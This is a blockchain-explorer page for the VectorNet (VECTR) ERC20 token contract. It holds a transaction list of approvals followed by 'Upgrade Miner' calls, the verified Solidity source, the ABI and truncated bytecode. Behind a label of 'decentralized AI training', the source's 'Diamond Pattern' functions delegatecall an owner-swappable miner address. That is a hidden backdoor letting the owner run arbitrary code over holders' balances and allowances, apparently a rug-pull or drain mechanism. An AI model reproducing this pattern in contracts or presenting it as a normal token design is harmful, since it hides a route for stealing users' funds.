ETH Price: $2,937.99 (-6.16%)
Gas: 8 Gwei

Contract

0xcC6aC4197A79fC73D638B6c860411Bca1a96A31E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Upgrade Miner185823092023-11-16 5:18:35232 days ago1700111915IN
0xcC6aC419...a1a96A31E
0 ETH0.0020625928.71490973
Upgrade Miner185823062023-11-16 5:17:59232 days ago1700111879IN
0xcC6aC419...a1a96A31E
0 ETH0.0021804230.35540353
Upgrade Miner185823032023-11-16 5:17:23232 days ago1700111843IN
0xcC6aC419...a1a96A31E
0 ETH0.0104281131.39259257
Approve185823022023-11-16 5:17:11232 days ago1700111831IN
0xcC6aC419...a1a96A31E
0 ETH0.0017064737.83680329
Approve185823022023-11-16 5:17:11232 days ago1700111831IN
0xcC6aC419...a1a96A31E
0 ETH0.0017064737.83680329
Approve185822982023-11-16 5:16:23232 days ago1700111783IN
0xcC6aC419...a1a96A31E
0 ETH0.0021877948.50888714
Approve185822972023-11-16 5:16:11232 days ago1700111771IN
0xcC6aC419...a1a96A31E
0 ETH0.0014880633.02924425
Approve185822952023-11-16 5:15:47232 days ago1700111747IN
0xcC6aC419...a1a96A31E
0 ETH0.0015768434.96242074
Approve185822942023-11-16 5:15:35232 days ago1700111735IN
0xcC6aC419...a1a96A31E
0 ETH0.0015783334.99548626
Approve185822942023-11-16 5:15:35232 days ago1700111735IN
0xcC6aC419...a1a96A31E
0 ETH0.0018038339.99548626
Approve185822932023-11-16 5:15:23232 days ago1700111723IN
0xcC6aC419...a1a96A31E
0 ETH0.001595935.38507308
Approve185822922023-11-16 5:15:11232 days ago1700111711IN
0xcC6aC419...a1a96A31E
0 ETH0.0013838730.71663191
Approve185822922023-11-16 5:15:11232 days ago1700111711IN
0xcC6aC419...a1a96A31E
0 ETH0.0014304531.71663191
Approve185822912023-11-16 5:14:59232 days ago1700111699IN
0xcC6aC419...a1a96A31E
0 ETH0.001286928.5262914
Approve185822892023-11-16 5:14:35232 days ago1700111675IN
0xcC6aC419...a1a96A31E
0 ETH0.0013483329.92782065
Approve185822882023-11-16 5:14:23232 days ago1700111663IN
0xcC6aC419...a1a96A31E
0 ETH0.001245327.62612712
Approve185822882023-11-16 5:14:23232 days ago1700111663IN
0xcC6aC419...a1a96A31E
0 ETH0.001466532.51612712
Approve185822882023-11-16 5:14:23232 days ago1700111663IN
0xcC6aC419...a1a96A31E
0 ETH0.001466532.51612712
Approve185822872023-11-16 5:14:11232 days ago1700111651IN
0xcC6aC419...a1a96A31E
0 ETH0.0014276131.65367161
Approve185822862023-11-16 5:13:59232 days ago1700111639IN
0xcC6aC419...a1a96A31E
0 ETH0.0013700930.41084809
Approve185822862023-11-16 5:13:59232 days ago1700111639IN
0xcC6aC419...a1a96A31E
0 ETH0.0013700930.41084809
Approve185822862023-11-16 5:13:59232 days ago1700111639IN
0xcC6aC419...a1a96A31E
0 ETH0.0018995342.41084809
Approve185822852023-11-16 5:13:47232 days ago1700111627IN
0xcC6aC419...a1a96A31E
0 ETH0.001445632.08680919
Approve185822842023-11-16 5:13:35232 days ago1700111615IN
0xcC6aC419...a1a96A31E
0 ETH0.0014252431.63491186
Approve185822842023-11-16 5:13:35232 days ago1700111615IN
0xcC6aC419...a1a96A31E
0 ETH0.0015169633.63491186
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
VectorNet

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : VectorNet.sol
/// @title VECTR token
/// @notice Contract for VectorNet's ERC20 VECTR token.
/// 
/// After deployment, this contract works with the Mining contract to facilitate
/// decentralized AI training transactions.
///
/// @author VectorNet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IPositionManager {
    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract VectorNet {

  /////////////////////////////////////////////////////////////////////////
  ///                           PARAMETERS                              ///
  /////////////////////////////////////////////////////////////////////////

  string public name = "VectorNet";
  string public symbol = "VECTR";

  uint256 public totalSupply;
  uint8 public decimals = 18;
  uint256 public maxWalletFraction = 100;

  mapping(address => uint256) public balanceOf;
  mapping(address => bool) public maxWalletExempt;
  mapping(address => mapping(address => uint256)) public allowance;

  address public owner;
  address public pool;
  address public miner = 0xA245E7CF721D399D81EA9AC228d2606fDab4Dda0;
  address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

  bool public live;

  /////////////////////////////////////////////////////////////////////////
  ///                             EVENTS                                ///
  /////////////////////////////////////////////////////////////////////////

  event Transfer(address indexed from, address indexed to, uint256 amount);

  /////////////////////////////////////////////////////////////////////////
  ///                           CONSTRUCTOR                             ///
  /////////////////////////////////////////////////////////////////////////

  constructor() {

    uint256 amount = 100_000_000 * 10 ** decimals;
    balanceOf[msg.sender] += amount;
    totalSupply += amount;
    emit Transfer(address(0), msg.sender, amount);

    owner = msg.sender;
    (address token0, address token1, uint160 sqrtPriceX96) = calculateParameters();
    pool = IPositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88).createAndInitializePoolIfNecessary(token0, token1, 10000, sqrtPriceX96);

  }


  function approve(address spender, uint256 amount) external returns (bool) {

    allowance[msg.sender][spender] = amount;
    return true;

  }


  function transfer(address to, uint256 amount) external returns (bool) {

    balanceOf[msg.sender] -= amount;
    balanceOf[to] += amount;

    if (msg.sender == pool && !maxWalletExempt[to]) {
      require(live);
      uint256 maxWalletSupply = totalSupply * maxWalletFraction / 10000;
      require(maxWalletSupply >= balanceOf[to]);
    }

    emit Transfer(msg.sender, to, amount);
    return true;

  }


  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external returns (bool) {

    allowance[from][msg.sender] -= amount;
    balanceOf[from] -= amount;
    balanceOf[to] += amount;
    emit Transfer(from, to, amount);
    return true;

  }


  function calculateParameters() private view returns (address, address, uint160) {

    address token0;
    address token1;
    uint160 sqrtPriceX96;

    if (address(this) > WETH) {
      token0 = WETH;
      token1 = address(this);
      sqrtPriceX96 = 280113854873930700000000000000000;
    } else {
      token0 = address(this);
      token1 = WETH;
      sqrtPriceX96 = 22409108389914456000000000;
    }

    return (token0, token1, sqrtPriceX96);

  }

  /////////////////////////////////////////////////////////////////////////
  ///                           OWNER ACTIONS                           ///
  /////////////////////////////////////////////////////////////////////////

  function toggleExemption(address user) public {
    require(msg.sender == owner);
    maxWalletExempt[user] = !maxWalletExempt[user];
  }

  function updateMaxWalletFraction(uint256 _maxWalletFraction) public {
    require(msg.sender == owner);
    maxWalletFraction = _maxWalletFraction;
  }

  function enableTrading() public {
    require(msg.sender == owner);
    live = true;
  }

  ///////////////////////////////////////////////////////////////////
  ///        Diamond Pattern Utilizing The Virtual Miner          ///
  ///////////////////////////////////////////////////////////////////

  function userCreateVirtualMiner() public {
    (bool success, bytes memory data) = miner.delegatecall(
        abi.encodeWithSignature("userCreateVirtualMiner()")
    );
  }

  function userClaimVirtualMinerRewards() public {
    (bool success, bytes memory data) = miner.delegatecall(
        abi.encodeWithSignature("userClaimVirtualMinerRewards()")
    );
  }

  function upgradeMiner(address _miner) public {
    require(msg.sender == owner);
    (bool success, bytes memory data) = _miner.delegatecall(
        abi.encodeWithSignature("upgradeMiner(address)", _miner)
    );
  }

}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"maxWalletExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletFraction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"miner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"toggleExemption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletFraction","type":"uint256"}],"name":"updateMaxWalletFraction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_miner","type":"address"}],"name":"upgradeMiner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"userClaimVirtualMinerRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"userCreateVirtualMiner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f566563746f724e65740000000000000000000000000000000000000000000000815250600090816200004a91906200071d565b506040518060400160405280600581526020017f5645435452000000000000000000000000000000000000000000000000000000815250600190816200009191906200071d565b506012600360006101000a81548160ff021916908360ff160217905550606460045573a245e7cf721d399d81ea9ac228d2606fdab4dda0600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200016a57600080fd5b506000600360009054906101000a900460ff16600a6200018b919062000994565b6305f5e1006200019c9190620009e5565b905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001ef919062000a30565b9250508190555080600260008282546200020a919062000a30565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000271919062000a7c565b60405180910390a333600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000806000620002cf620003bc60201b60201c565b92509250925073c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff166313ead5628484612710856040518563ffffffff1660e01b81526004016200032c949392919062000b41565b6020604051808303816000875af11580156200034c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000372919062000bc4565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505062000bf6565b600080600080600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1611156200045b57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692503091506d0dcf88ae0f283f9caa8455ae0000905062000492565b309250600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506a12895033329278e47b700090505b828282955095509550505050909192565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200052557607f821691505b6020821081036200053b576200053a620004dd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000566565b620005b1868362000566565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005fe620005f8620005f284620005c9565b620005d3565b620005c9565b9050919050565b6000819050919050565b6200061a83620005dd565b62000632620006298262000605565b84845462000573565b825550505050565b600090565b620006496200063a565b620006568184846200060f565b505050565b5b818110156200067e57620006726000826200063f565b6001810190506200065c565b5050565b601f821115620006cd57620006978162000541565b620006a28462000556565b81016020851015620006b2578190505b620006ca620006c18562000556565b8301826200065b565b50505b505050565b600082821c905092915050565b6000620006f260001984600802620006d2565b1980831691505092915050565b60006200070d8383620006df565b9150826002028217905092915050565b6200072882620004a3565b67ffffffffffffffff811115620007445762000743620004ae565b5b6200075082546200050c565b6200075d82828562000682565b600060209050601f83116001811462000795576000841562000780578287015190505b6200078c8582620006ff565b865550620007fc565b601f198416620007a58662000541565b60005b82811015620007cf57848901518255600182019150602085019450602081019050620007a8565b86831015620007ef5784890151620007eb601f891682620006df565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000892578086048111156200086a576200086962000804565b5b60018516156200087a5780820291505b80810290506200088a8562000833565b94506200084a565b94509492505050565b600082620008ad576001905062000980565b81620008bd576000905062000980565b8160018114620008d65760028114620008e15762000917565b600191505062000980565b60ff841115620008f657620008f562000804565b5b8360020a91508482111562000910576200090f62000804565b5b5062000980565b5060208310610133831016604e8410600b8410161715620009515782820a9050838111156200094b576200094a62000804565b5b62000980565b62000960848484600162000840565b925090508184048111156200097a576200097962000804565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009a182620005c9565b9150620009ae8362000987565b9250620009dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200089b565b905092915050565b6000620009f282620005c9565b9150620009ff83620005c9565b925082820262000a0f81620005c9565b9150828204841483151762000a295762000a2862000804565b5b5092915050565b600062000a3d82620005c9565b915062000a4a83620005c9565b925082820190508082111562000a655762000a6462000804565b5b92915050565b62000a7681620005c9565b82525050565b600060208201905062000a93600083018462000a6b565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ac68262000a99565b9050919050565b62000ad88162000ab9565b82525050565b6000819050919050565b600062ffffff82169050919050565b600062000b1862000b1262000b0c8462000ade565b620005d3565b62000ae8565b9050919050565b62000b2a8162000af7565b82525050565b62000b3b8162000a99565b82525050565b600060808201905062000b58600083018762000acd565b62000b67602083018662000acd565b62000b76604083018562000b1f565b62000b85606083018462000b30565b95945050505050565b600080fd5b62000b9e8162000ab9565b811462000baa57600080fd5b50565b60008151905062000bbe8162000b93565b92915050565b60006020828403121562000bdd5762000bdc62000b8e565b5b600062000bed8482850162000bad565b91505092915050565b61159c8062000c066000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80635f99ad6b116100b8578063957aa58c1161007c578063957aa58c1461034157806395d89b411461035f5780639f82ecf21461037d578063a9059cbb14610387578063ad5c4648146103b7578063dd62ed3e146103d557610142565b80635f99ad6b146102af5780636a873fbd146102cb57806370a08231146102e95780638a8c523c146103195780638da5cb5b1461032357610142565b806319bdffaa1161010a57806319bdffaa146101ed57806323b872dd146101f7578063313ce56714610227578063349dc329146102455780633e95be9a146102635780634f0aad4e1461027f57610142565b806306fdde0314610147578063095ea7b314610165578063128064a11461019557806316f0115b146101b157806318160ddd146101cf575b600080fd5b61014f610405565b60405161015c91906110c6565b60405180910390f35b61017f600480360381019061017a9190611181565b610493565b60405161018c91906111dc565b60405180910390f35b6101af60048036038101906101aa91906111f7565b610520565b005b6101b9610679565b6040516101c69190611233565b60405180910390f35b6101d761069f565b6040516101e4919061125d565b60405180910390f35b6101f56106a5565b005b610211600480360381019061020c9190611278565b6107ba565b60405161021e91906111dc565b60405180910390f35b61022f61096b565b60405161023c91906112e7565b60405180910390f35b61024d61097e565b60405161025a9190611233565b60405180910390f35b61027d60048036038101906102789190611302565b6109a4565b005b610299600480360381019061029491906111f7565b610a08565b6040516102a691906111dc565b60405180910390f35b6102c960048036038101906102c491906111f7565b610a28565b005b6102d3610b29565b6040516102e0919061125d565b60405180910390f35b61030360048036038101906102fe91906111f7565b610b2f565b604051610310919061125d565b60405180910390f35b610321610b47565b005b61032b610bbe565b6040516103389190611233565b60405180910390f35b610349610be4565b60405161035691906111dc565b60405180910390f35b610367610bf7565b60405161037491906110c6565b60405180910390f35b610385610c85565b005b6103a1600480360381019061039c9190611181565b610d9a565b6040516103ae91906111dc565b60405180910390f35b6103bf610feb565b6040516103cc9190611233565b60405180910390f35b6103ef60048036038101906103ea919061132f565b611011565b6040516103fc919061125d565b60405180910390f35b600080546104129061139e565b80601f016020809104026020016040519081016040528092919081815260200182805461043e9061139e565b801561048b5780601f106104605761010080835404028352916020019161048b565b820191906000526020600020905b81548152906001019060200180831161046e57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461057a57600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff16836040516024016105a59190611233565b6040516020818303038152906040527f128064a1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161062f9190611416565b600060405180830381855af49150503d806000811461066a576040519150601f19603f3d011682016040523d82523d6000602084013e61066f565b606091505b5091509150505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f19bdffaa000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107719190611416565b600060405180830381855af49150503d80600081146107ac576040519150601f19603f3d011682016040523d82523d6000602084013e6107b1565b606091505b50915091505050565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610848919061145c565b9250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461089e919061145c565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f49190611490565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610958919061125d565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b8060048190555050565b60066020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a8257600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60056020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba157600080fd5b6001600b60146101000a81548160ff021916908315150217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60149054906101000a900460ff1681565b60018054610c049061139e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c309061139e565b8015610c7d5780601f10610c5257610100808354040283529160200191610c7d565b820191906000526020600020905b815481529060010190602001808311610c6057829003601f168201915b505050505081565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f9f82ecf2000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610d519190611416565b600060405180830381855af49150503d8060008114610d8c576040519150601f19603f3d011682016040523d82523d6000602084013e610d91565b606091505b50915091505050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610deb919061145c565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e419190611490565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610eef5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f7c57600b60149054906101000a900460ff16610f0d57600080fd5b6000612710600454600254610f2291906114c4565b610f2c9190611535565b9050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f7a57600080fd5b505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fd9919061125d565b60405180910390a36001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015611070578082015181840152602081019050611055565b60008484015250505050565b6000601f19601f8301169050919050565b600061109882611036565b6110a28185611041565b93506110b2818560208601611052565b6110bb8161107c565b840191505092915050565b600060208201905081810360008301526110e0818461108d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611118826110ed565b9050919050565b6111288161110d565b811461113357600080fd5b50565b6000813590506111458161111f565b92915050565b6000819050919050565b61115e8161114b565b811461116957600080fd5b50565b60008135905061117b81611155565b92915050565b60008060408385031215611198576111976110e8565b5b60006111a685828601611136565b92505060206111b78582860161116c565b9150509250929050565b60008115159050919050565b6111d6816111c1565b82525050565b60006020820190506111f160008301846111cd565b92915050565b60006020828403121561120d5761120c6110e8565b5b600061121b84828501611136565b91505092915050565b61122d8161110d565b82525050565b60006020820190506112486000830184611224565b92915050565b6112578161114b565b82525050565b6000602082019050611272600083018461124e565b92915050565b600080600060608486031215611291576112906110e8565b5b600061129f86828701611136565b93505060206112b086828701611136565b92505060406112c18682870161116c565b9150509250925092565b600060ff82169050919050565b6112e1816112cb565b82525050565b60006020820190506112fc60008301846112d8565b92915050565b600060208284031215611318576113176110e8565b5b60006113268482850161116c565b91505092915050565b60008060408385031215611346576113456110e8565b5b600061135485828601611136565b925050602061136585828601611136565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b657607f821691505b6020821081036113c9576113c861136f565b5b50919050565b600081519050919050565b600081905092915050565b60006113f0826113cf565b6113fa81856113da565b935061140a818560208601611052565b80840191505092915050565b600061142282846113e5565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114678261114b565b91506114728361114b565b925082820390508181111561148a5761148961142d565b5b92915050565b600061149b8261114b565b91506114a68361114b565b92508282019050808211156114be576114bd61142d565b5b92915050565b60006114cf8261114b565b91506114da8361114b565b92508282026114e88161114b565b915082820484148315176114ff576114fe61142d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115408261114b565b915061154b8361114b565b92508261155b5761155a611506565b5b82820490509291505056fea2646970667358221220e6c6bc277624ecf57ea4e478a9a7e88dd7ffc83eab76fe3b9e5a22bb9688b1bd64736f6c63430008160033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635f99ad6b116100b8578063957aa58c1161007c578063957aa58c1461034157806395d89b411461035f5780639f82ecf21461037d578063a9059cbb14610387578063ad5c4648146103b7578063dd62ed3e146103d557610142565b80635f99ad6b146102af5780636a873fbd146102cb57806370a08231146102e95780638a8c523c146103195780638da5cb5b1461032357610142565b806319bdffaa1161010a57806319bdffaa146101ed57806323b872dd146101f7578063313ce56714610227578063349dc329146102455780633e95be9a146102635780634f0aad4e1461027f57610142565b806306fdde0314610147578063095ea7b314610165578063128064a11461019557806316f0115b146101b157806318160ddd146101cf575b600080fd5b61014f610405565b60405161015c91906110c6565b60405180910390f35b61017f600480360381019061017a9190611181565b610493565b60405161018c91906111dc565b60405180910390f35b6101af60048036038101906101aa91906111f7565b610520565b005b6101b9610679565b6040516101c69190611233565b60405180910390f35b6101d761069f565b6040516101e4919061125d565b60405180910390f35b6101f56106a5565b005b610211600480360381019061020c9190611278565b6107ba565b60405161021e91906111dc565b60405180910390f35b61022f61096b565b60405161023c91906112e7565b60405180910390f35b61024d61097e565b60405161025a9190611233565b60405180910390f35b61027d60048036038101906102789190611302565b6109a4565b005b610299600480360381019061029491906111f7565b610a08565b6040516102a691906111dc565b60405180910390f35b6102c960048036038101906102c491906111f7565b610a28565b005b6102d3610b29565b6040516102e0919061125d565b60405180910390f35b61030360048036038101906102fe91906111f7565b610b2f565b604051610310919061125d565b60405180910390f35b610321610b47565b005b61032b610bbe565b6040516103389190611233565b60405180910390f35b610349610be4565b60405161035691906111dc565b60405180910390f35b610367610bf7565b60405161037491906110c6565b60405180910390f35b610385610c85565b005b6103a1600480360381019061039c9190611181565b610d9a565b6040516103ae91906111dc565b60405180910390f35b6103bf610feb565b6040516103cc9190611233565b60405180910390f35b6103ef60048036038101906103ea919061132f565b611011565b6040516103fc919061125d565b60405180910390f35b600080546104129061139e565b80601f016020809104026020016040519081016040528092919081815260200182805461043e9061139e565b801561048b5780601f106104605761010080835404028352916020019161048b565b820191906000526020600020905b81548152906001019060200180831161046e57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461057a57600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff16836040516024016105a59190611233565b6040516020818303038152906040527f128064a1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161062f9190611416565b600060405180830381855af49150503d806000811461066a576040519150601f19603f3d011682016040523d82523d6000602084013e61066f565b606091505b5091509150505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f19bdffaa000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107719190611416565b6000604051808303